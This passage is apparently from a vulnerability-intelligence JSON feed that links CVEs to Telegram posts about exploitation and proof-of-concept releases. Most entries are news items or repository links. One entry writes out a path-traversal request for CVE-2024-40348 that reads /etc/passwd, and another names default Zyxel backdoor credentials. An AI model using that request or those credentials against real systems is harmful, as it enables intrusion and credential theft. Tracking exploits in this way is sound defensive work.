\u043d\u0435\u0441\u0435\u043a\u044c\u044e\u0440\u043d\u044b\u0445 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e. \u0421\u0440\u0435\u0434\u0438 \u043d\u0438\u0445 supervisor:zyad1234 \u0438\u043c\u0435\u0435\u0442 \u0441\u043a\u0440\u044b\u0442\u044b\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438, \u0430 zyuser:1234 \u043c\u043e\u0436\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u0434\u043b\u044f \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430.\n\nZyxel \u043f\u0440\u0438\u0437\u043d\u0430\u043b\u0430 \u043d\u0430\u043b\u0438\u0447\u0438\u0435 \u0434\u044b\u0440 \u0438 \u043f\u043e\u0441\u043e\u0432\u0435\u0442\u043e\u0432\u0430\u043b\u0430\u2026 \u043a\u0443\u043f\u0438\u0442\u044c \u043d\u043e\u0432\u044b\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u043f\u0430\u0442\u0447\u0430 \u0434\u043b\u044f \u0441\u0442\u0430\u0440\u044b\u0445 \u043d\u0435 \u0431\u0443\u0434\u0435\u0442. \u0422\u0435\u043c \u0432\u0440\u0435\u043c\u0435\u043d\u0435\u043c \u044d\u0442\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0443\u0436\u0435 \u0432\u043e\u0432\u0441\u044e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442\u0441\u044f \u0445\u0430\u043a\u0435\u0440\u0430\u043c\u0438, \u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430, \u043d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0438 \u0438 \u0441\u0442\u0430\u0442\u0443\u0441 EOL, \u0432\u0441\u0435 \u0435\u0449\u0435 \u0448\u0438\u0440\u043e\u043a\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442\u0441\u044f \u043d\u0430\u0440\u043e\u0434\u043e\u043c.\n\n#red_team #Zyxel", "creation_timestamp": "2026-08-05T00:00:11.535897Z"}, {"uuid": "cb846c4d-2214-43b7-8e12-a528dc7faefa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-4040", "type": "published-proof-of-concept", "source": "https://t.me/reverseame/4464", "content": "CVE-2024-4040-SSTI-LFI-PoC: CVE-2024-4040 CrushFTP SSTI LFI & Auth Bypass | Full Server Takeover | Wordlist Support #GitHub #CVE-2024-4040 #SSTI #LFI #PoC https://github.com/Stuub/CVE-2024-4040-SSTI-LFI-PoC", "creation_timestamp": "2026-08-03T02:09:29.216683Z"}, {"uuid": "78d2af46-d27d-4e51-aeb3-abf38213fbb9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40348", "type": "exploited", "source": "https://t.me/Unik4tsG4ng/9792", "content": "This is a bulk scanning and exploitation tool for CVE-2024-40348, Bazaar v1.4.3 and prior. Will attempt to read /etc/passwd from target.\n\nhttps://github.com/bigb0x/CVE-2024-40348", "creation_timestamp": "2024-10-25T04:22:47.000000Z"}, {"uuid": "c7a018da-43e0-4de2-af9c-04feaf79b64f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40348", "type": "published-proof-of-concept", "source": "https://t.me/Unik4tsG4ng/6551", "content": "Tools - Hacks\n\nApepe - Mobile application\u00a0 pentesting\n\nApepe is a Python tool developed to help pentesters and red teamers to easily get information from the target app. This tool will extract basic informations as the package name, if the app is signed and the development language...\n\ngithub.com/oppsec/Apepe\n\nBest App For Sql Injection\n\nhttps://github.com/darknethaxor/DH-HackBar\n\nBBRF-Client: The Bug Bounty Reconnaissance Framework (BBRF) can help you coordinate your reconnaissance workflows across multiple devices.\n\nhttps://github.com/honoki/bbrf-client/\n\nCVE-2024-40348 \n\nThis is a bulk scanning and exploitation tool for CVE-2024-40348: Bazaar v1.4.3 allows unauthenticated attackers to execute a directory traversal. This vulnerability was discovered by 4rdr.\n\nhttps://github.com/bigb0x/CVE-2024-40348\n\nIt is a free and open-source tool used for image steganography, specifically for extracting hidden data from images. \n\nhttps://github.com/spipm/Depix \n\nDiscover more subdomains during your recon by extracting subdomains from TLS certificates. Integrate Cero into your recon automation for better results.\n\nhttps://github.com/glebarez/cero\n\nCRLFsuite - CRLF injection scanner \n\nThe most powerful CRLF injection (HTTP Response Splitting) scanner.\u00a0 \nhttps://github.com/Raghavd3v/CRLFsuite\n\nFound a subdomain running on Symfony debug mode. \n\nhttps://github.com/synacktiv/eos to get PHP variables and a lot more. \n\nTrying to find Origin IP check out this tool created to find IP behind WAF\n\nhttps://github.com/mmarting/unwaf", "creation_timestamp": "2024-08-13T11:32:52.000000Z"}, {"uuid": "31214825-ce5b-49d0-afbe-1a601abc23c7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-4058", "type": "seen", "source": "https://t.me/information_security_channel/52038", "content": "Google Patches Critical Chrome Vulnerability\nhttps://www.securityweek.com/google-patches-critical-chrome-vulnerability/\n\nGoogle patches CVE-2024-4058, a critical Chrome vulnerability for which researchers earned a $16,000 reward.\u00a0\nThe post Google Patches Critical Chrome Vulnerability (https://www.securityweek.com/google-patches-critical-chrome-vulnerability/) appeared first on SecurityWeek (https://www.securityweek.com/).", "creation_timestamp": "2024-04-24T16:10:53.000000Z"}, {"uuid": "c1e84fd5-8cc0-4328-8620-a101ac296937", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40766", "type": "seen", "source": "https://t.me/information_security_channel/52793", "content": "SonicWall Patches Critical SonicOS Vulnerability\u00a0\nhttps://www.securityweek.com/sonicwall-patches-critical-sonicos-vulnerability/\n\nSonicWall has patched CVE-2024-40766, a critical SonicOS vulnerability that can lead to unauthorized access or a firewall crash.\nThe post SonicWall Patches Critical SonicOS Vulnerability\u00a0 (https://www.securityweek.com/sonicwall-patches-critical-sonicos-vulnerability/) appeared first on SecurityWeek (https://www.securityweek.com/).", "creation_timestamp": "2024-08-26T17:55:36.000000Z"}, {"uuid": "15c34a17-df61-496f-8412-f8c6a6aebf2f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40766", "type": "exploited", "source": "https://t.me/information_security_channel/52857", "content": "Critical SonicWall Vulnerability Possibly Exploited in Ransomware Attacks\nhttps://www.securityweek.com/critical-sonicwall-vulnerability-possibly-exploited-in-ransomware-attacks/\n\nA recently patched SonicWall vulnerability tracked as CVE-2024-40766 may have been exploited in ransomware attacks.\nThe post Critical SonicWall Vulnerability Possibly Exploited in Ransomware Attacks (https://www.securityweek.com/critical-sonicwall-vulnerability-possibly-exploited-in-ransomware-attacks/) appeared first on SecurityWeek (https://www.securityweek.com/).", "creation_timestamp": "2024-09-09T14:17:21.000000Z"}, {"uuid": "084fb37c-1926-4c54-8740-a8482bd78ee8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-4040", "type": "exploited", "source": "https://t.me/thehackernews/4873", "content": "UPDATE \u2014 Airbus CERT releases Python scripts to scan for the critical CrushFTP flaw (CVE-2024-4040) that allows remote code execution. The zero-day has been exploited in attacks against U.S. entities. \n \nCheck: https://thehackernews.com/2024/04/critical-update-crushftp-zero-day-flaw.html \n \n#infosec", "creation_timestamp": "2024-04-24T18:43:57.000000Z"}, {"uuid": "6375dcdb-e8d1-4e77-b5dc-15fe8c99c1a4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40711", "type": "seen", "source": "https://t.me/thehackernews/5529", "content": "\u26a0\ufe0f Veeam has patched 18 security flaws, including 5 critical ones allowing remote code execution (e.g., CVE-2024-40711 with a 9.8 CVSS score). Update now to protect your data.\n\nLearn more: https://thehackernews.com/2024/09/veeam-releases-security-updates-to-fix.html", "creation_timestamp": "2024-09-05T18:58:23.000000Z"}, {"uuid": "552ab648-68da-49f1-8613-e636de5af81a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40766", "type": "exploited", "source": "https://t.me/thehackernews/5537", "content": "\ud83d\udd25 A SonicWall #vulnerability (CVE-2024-40766) is under active exploitation.\n\nThis critical flaw allows attackers to bypass access controls and potentially crash firewalls, compromising business operations. Don't wait.\n\nhttps://thehackernews.com/2024/09/sonicwall-urges-users-to-patch-critical.html\n\nPatch now or risk falling victim.", "creation_timestamp": "2024-09-06T17:57:18.000000Z"}, {"uuid": "7428c927-dab4-4e87-ac43-ce9211962f46", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40711", "type": "exploited", "source": "https://t.me/thehackernews/5724", "content": "Veeam Backup flaw targeted for ransomware attacks\u2014CVE-2024-40711 exploited! \n \nThis flaw allows attackers to create local admin accounts, granting them full control to deploy ransomware like Akira and Fog. \n \nLearn how to defend against active threats: https://thehackernews.com/2024/10/critical-veeam-vulnerability-exploited.html", "creation_timestamp": "2024-10-14T10:58:22.000000Z"}, {"uuid": "8db6eff6-9490-4e14-ac87-13985c64e6c6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40891", "type": "exploited", "source": "https://t.me/xakep_ru/17026", "content": "\u0425\u0430\u043a\u0435\u0440\u044b \u0430\u0442\u0430\u043a\u0443\u044e\u0442 0-day \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Zyxel CPE, \u0434\u043b\u044f \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u043d\u0435\u0442 \u043f\u0430\u0442\u0447\u0430\n\n\u041a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434 \u0432 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u0445 \u0441\u0435\u0440\u0438\u0438 Zyxel CPE (CVE-2024-40891) \u0431\u044b\u043b\u0430 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 \u0435\u0449\u0435 \u043b\u0435\u0442\u043e\u043c \u043f\u0440\u043e\u0448\u043b\u043e\u0433\u043e \u0433\u043e\u0434\u0430, \u043e\u0434\u043d\u0430\u043a\u043e \u0434\u043e \u0441\u0438\u0445 \u043f\u043e\u0440 \u043d\u0435 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0430 \u043f\u0430\u0442\u0447\u0435\u0439. \u041a\u0430\u043a \u0442\u0435\u043f\u0435\u0440\u044c \u0441\u043e\u043e\u0431\u0449\u0430\u044e\u0442 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u044b GreyNoise, \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0443 \u0443\u0436\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u0445\u0430\u043a\u0435\u0440\u044b.\n\nhttps://xakep.ru/2025/01/30/zyxel-cpe-0day/", "creation_timestamp": "2025-01-30T11:34:55.000000Z"}, {"uuid": "c50afc82-3454-4b61-858c-09aa00ff22c9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-4058", "type": "seen", "source": "https://t.me/xakep_ru/15748", "content": "\u0412 Chrome \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u043b\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u0437\u0430 \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u044d\u043a\u0441\u043f\u0435\u0440\u0442\u044b \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0438 16 000 \u0434\u043e\u043b\u043b\u0430\u0440\u043e\u0432\n\n\u041d\u0430 \u044d\u0442\u043e\u0439 \u043d\u0435\u0434\u0435\u043b\u0435 Google \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0434\u043b\u044f Chrome 124, \u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442 \u0447\u0435\u0442\u044b\u0440\u0435 \u0441\u0440\u0430\u0437\u0443 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0443 CVE-2024-4058 \u0432 ANGLE (Almost Native Graphics Layer Engine).\n\nhttps://xakep.ru/2024/04/26/angle-critical-bug/", "creation_timestamp": "2024-04-26T12:37:43.000000Z"}, {"uuid": "76cb212d-5949-47a3-a75a-84f919de2ae6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40766", "type": "exploited", "source": "https://t.me/CyberBulletin/26129", "content": "\u26a1\ufe0fAkira Ransomware Exploit CVE-2024-40766 in SonicWall SonicOS.\n\n#CyberBulletin", "creation_timestamp": "2024-10-22T14:44:31.000000Z"}, {"uuid": "fb27af4b-73a9-4d08-a2c2-14a07db90f2a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40711", "type": "published-proof-of-concept", "source": "https://t.me/thebugbountyhunter/9105", "content": "Veeam Backup & Response - RCE With Auth, But Mostly Without Auth (CVE-2024-40711)\n\nhttps://labs.watchtowr.com/veeam-backup-response-rce-with-auth-but-mostly-without-auth-cve-2024-40711-2/", "creation_timestamp": "2024-09-22T04:47:07.000000Z"}, {"uuid": "0e4e73e8-dba4-45e3-b11d-28cc88fe195e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40801", "type": "seen", "source": "https://t.me/CyberBulletin/25734", "content": "\u26a1\ufe0fCVE-2024-40801 in macOS allowed a sandboxed app to bypass TCC protections and access sensitive user data without requiring user permission.\n\n#CyberBulletin", "creation_timestamp": "2024-09-24T11:02:43.000000Z"}, {"uuid": "99feb6e8-5f3a-4660-909f-9e021d22df27", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40348", "type": "published-proof-of-concept", "source": "https://t.me/GhostClanInt/25337", "content": "Tools - Hackers Factory \n\nAmoloHT/TTWAF: \u300c\ud83e\uddf1\u300dTest a list of payloads and see if you can bypass it.\n\nhttps://github.com/AmoloHT/TTWAF\n\nOWASP/www-project-netryx: Next level Java web security framework. \n\nhttps://github.com/OWASP/www-project-netryx\n\nPrivFu/TokenAssignor at main daem0nc0re/PrivFu.\n\nhttps://github.com/daem0nc0re/PrivFu/tree/main/TokenAssignor\n\nRPISEC/MBE: Course materials for Modern Binary Exploitation by RPISEC\n\nhttps://github.com/RPISEC/MBE\n\nBigb0x/CVE-2024-40348: POC for CVE-2024-40348. Will attempt to read /etc/passwd from target\n\nhttps://github.com/bigb0x/CVE-2024-40348\n\nPumpbin/pumpbin: \ud83c\udf83 PumpBin is an Implant Generation Platform.\n\nhttps://github.com/pumpbin/pumpbin\n\nBellingcat/name-variant-search: A tool for searching common variations of a human name\n\nhttps://github.com/bellingcat/name-variant-search\n\nMegadose/nqntnqnqmb: Allows you to retrieve information on linkedin profiles, companies on linkedin and search on linkedin companies/persons\n\nhttps://github.com/megadose/nqntnqnqmb\n\nThis cheat sheet contains common enumeration and attack methods for Windows Active Directory with the use of powershell.\n\nhttps://github.com/drak3hft7/Cheat-Sheet---Active-Directory\n\n#CyberDilara\nhttps://t.me/CyberDilara", "creation_timestamp": "2024-07-24T08:13:30.000000Z"}, {"uuid": "1d5636fb-309f-4d50-8515-b13906b6f198", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40896", "type": "seen", "source": "https://t.me/CyberBulletin/26931", "content": "\u26a1\ufe0fCVE-2024-40896 (CVSS 9.1): Critical XXE Vulnerability Discovered in libxml2.\n\n#CyberBulletin", "creation_timestamp": "2024-12-27T12:27:48.000000Z"}, {"uuid": "67f86c7d-9225-4ee0-86f2-6092182e6b07", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40348", "type": "exploited", "source": "https://t.me/CNArsenal/2854", "content": "CVE-2024-40348\n\nGET /api/swaggerui/static/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1\n\netc/passwd\n\n#exploit #poc", "creation_timestamp": "2024-07-26T10:33:10.000000Z"}, {"uuid": "cac01334-580e-4b3d-b0bf-8db073be0492", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-4040", "type": "published-proof-of-concept", "source": "https://t.me/CNArsenal/2367", "content": "https://github.com/airbus-cert/CVE-2024-4040\n\nCVE-2024-4040 - exploit scanners\n#github #exploit", "creation_timestamp": "2024-04-23T12:36:17.000000Z"}, {"uuid": "ae596a9f-84d9-425a-bccf-dbb1c555eddb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40898", "type": "published-proof-of-concept", "source": "https://t.me/CNArsenal/2817", "content": "https://github.com/TAM-K592/CVE-2024-40725-CVE-2024-40898\n\n\ud83d\udea8CVE-2024-40725 and CVE-2024-40898\ud83d\udea8\n#github #poc #exploit", "creation_timestamp": "2024-07-20T15:31:46.000000Z"}, {"uuid": "46d2b9b9-4147-4673-96e9-2f72d9405f82", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40725", "type": "published-proof-of-concept", "source": "https://t.me/CNArsenal/2817", "content": "https://github.com/TAM-K592/CVE-2024-40725-CVE-2024-40898\n\n\ud83d\udea8CVE-2024-40725 and CVE-2024-40898\ud83d\udea8\n#github #poc #exploit", "creation_timestamp": "2024-07-20T15:31:46.000000Z"}, {"uuid": "e749bf14-22fc-4e6c-8416-d65c4697fc8c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40348", "type": "published-proof-of-concept", "source": "https://t.me/CNArsenal/2852", "content": "https://github.com/bigb0x/CVE-2024-40348\n\nPOC for CVE-2024-40348. Will attempt to read /etc/passwd from target\n#github #poc", "creation_timestamp": "2024-07-25T13:56:26.000000Z"}, {"uuid": "12ca104d-e945-4e22-a894-820859c88a04", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40711", "type": "published-proof-of-concept", "source": "https://t.me/CNArsenal/3144", "content": "https://labs.watchtowr.com/veeam-backup-response-rce-with-auth-but-mostly-without-auth-cve-2024-40711-2/\n\nVeeam Backup & Response - RCE With Auth, But Mostly Without Auth (CVE-2024-40711)\n#\u5206\u6790", "creation_timestamp": "2024-09-10T17:40:22.000000Z"}, {"uuid": "02205bb9-0e87-46bf-b4a0-d4d7cdecef7c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40711", "type": "published-proof-of-concept", "source": "https://t.me/CNArsenal/3183", "content": "https://github.com/watchtowrlabs/CVE-2024-40711\n\nExploit for Veeam backup and Replication Pre-Auth Deserialization CVE-2024-40711\n#github #exploit", "creation_timestamp": "2024-09-16T15:25:45.000000Z"}, {"uuid": "9646ee16-788e-4755-8e7c-8eb73045ab7a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40348", "type": "exploited", "source": "Telegram/KWFKedzBf7DpHW3u-VGxtsq0YreIfyiSuhvo1jLiT81XBdYB", "content": "", "creation_timestamp": "2024-07-27T06:59:39.000000Z"}, {"uuid": "302ee587-6b81-425f-89ff-1c773a0a5325", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-4040", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/10412", "content": "#exploit\n1. CVE-2024-21345:\nWindows Kernel EoP\nhttps://github.com/exploits-forsale/CVE-2024-21345\n\n2. CVE-2024-4040:\nPrivilege escalation after CrushFTP\nhttps://ift.tt/OBjIiZE", "creation_timestamp": "2024-04-28T18:22:59.000000Z"}, {"uuid": "457332c2-fe84-491c-a1ef-30d5a6103f68", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40431", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/11344", "content": "#exploit\n1. CVE-2024-39205:\nPyload RCE with js2py sandbox escape\nhttps://github.com/Marven11/CVE-2024-39205-Pyload-RCE\n\n2. CVE-2024-40431,\nCVE-2022-25477 - 25480:\nVulnerabilities in RtsPer.sys (Realtek SD Card Reader Driver)\nhttps://github.com/zwclose/realteksd\n\n3. CVE-2024-1512:\nSQLI in MasterStudy LMS WP Plugin\nhttps://github.com/rat-c/CVE-2024-1512", "creation_timestamp": "2024-10-28T13:32:54.000000Z"}, {"uuid": "9f891641-cc60-4870-b918-1666105559e7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40626", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/10860", "content": "#exploit\n1. CVE-2024-29511:\nAbusing Ghostscript\u2019s OCR device\nhttps://codeanlabs.com/blog/research/cve-2024-29511-abusing-ghostscripts-ocr-device\n\n2. CVE-2024-40626:\nStored XSS in Outline editor\n(Type confusion attacks in ProseMirror editors)\nhttps://blog.calif.io/p/type-confusion-attacks-in-prosemirror\n\n3. Getting Unauthenticated RCE on the Logsign Unified SecOps Platform\nhttps://www.zerodayinitiative.com/blog/2024/7/1/getting-unauthenticated-remote-code-execution-on-the-logsign-unified-secops-platform", "creation_timestamp": "2024-07-20T12:14:12.000000Z"}, {"uuid": "1eb48019-c7f8-4a99-953d-223fa751e9c2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40725", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/10863", "content": "#exploit\n1. CVE-2024-34065:\nStrapi Open Redirect\nhttps://blog.quarkslab.com/looking-for-vulnerabilities-in-strapi-cve-2024-34065.html\n\n2. CVE-2024-40725,\nCVE-2024-40898:\nApache HTTP Server SSRF\nhttps://github.com/TAM-K592/CVE-2024-40725-CVE-2024-40898", "creation_timestamp": "2024-07-21T19:21:49.000000Z"}, {"uuid": "f88068a6-742d-4258-9523-5fcd4784b5b8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-4040", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/10873", "content": "#exploit\n1. CVE-2023-41538:\nphpjabbers PHP Forum XSS\nhttps://github.com/codeb0ss/CVE-2023-41538-PoC\n\n2. Exploiting the EvilVideo vulnerability on Telegram for Android\nhttps://www.welivesecurity.com/en/eset-research/cursed-tapes-exploiting-evilvideo-vulnerability-telegram-android\n\n3. CVE-2024-4040:\nCrushFTP VFS Sandbox Escape\nhttps://github.com/airbus-cert/CVE-2024-4040", "creation_timestamp": "2024-07-23T18:39:31.000000Z"}, {"uuid": "e3faeca2-2b63-4faa-8f27-dee67f15e5ce", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40898", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/10863", "content": "#exploit\n1. CVE-2024-34065:\nStrapi Open Redirect\nhttps://blog.quarkslab.com/looking-for-vulnerabilities-in-strapi-cve-2024-34065.html\n\n2. CVE-2024-40725,\nCVE-2024-40898:\nApache HTTP Server SSRF\nhttps://github.com/TAM-K592/CVE-2024-40725-CVE-2024-40898", "creation_timestamp": "2024-07-21T19:21:49.000000Z"}, {"uuid": "230bcc4d-4a74-408c-a019-2e7cbfb881fa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40348", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/10884", "content": "#exploit\n1. CVE-2024-40348:\nUnauth directory traversal in Bazaar 1.4.3\nhttps://github.com/bigb0x/CVE-2024-40348\n\n2. CVE-2024-39907:\nSQLi in Linux 1Panel\nhttps://github.com/1Panel-dev/1Panel/security/advisories/GHSA-5grx-v727-qmq6", "creation_timestamp": "2024-07-27T12:01:41.000000Z"}, {"uuid": "2440c63f-ff19-4821-96dd-92a72066988b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40711", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/11107", "content": "#exploit\n1. CVE-2024-40711:\nVeeam Backup & Response - RCE\nhttps://labs.watchtowr.com/veeam-backup-response-rce-with-auth-but-mostly-without-auth-cve-2024-40711-2\n]-> https://github.com/watchtowrlabs/CVE-2024-40711\n\n2. CVE-2024-28000:\nLiteSpeed Cache Privilege Escalation\nhttps://github.com/Alucard0x1/CVE-2024-28000\n\n3. CVE-2024-6800:\nGHES Authentication Bypass\nhttps://cyble.com/blog/saml-exploit-github-cve-2024-6800", "creation_timestamp": "2024-09-16T18:20:15.000000Z"}, {"uuid": "a51b6bc3-19d4-4fdd-82cb-ff2fb5315430", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40711", "type": "seen", "source": "https://t.me/InfoSecInsider/195", "content": "\u26a1\ufe0fVeeam Backup & Replication Faces RCE Flaw\u2013 CVE-2024-40711 (CVSS 9.8) Allows Full System Takeover.\n\n#CyberBulletin", "creation_timestamp": "2024-09-06T11:36:43.000000Z"}, {"uuid": "835cfbf2-9dc6-4239-9ff0-ec5698187608", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40711", "type": "seen", "source": "https://t.me/InfoSecInsider/202", "content": "\u26a1\ufe0fVeeam Backup & Replication Faces RCE Flaw CVE-2024-40711  CVSS: 9.8 A series of critical vulnerabilities have been uncovered in Veeam Backup & Replication, potentially exposing 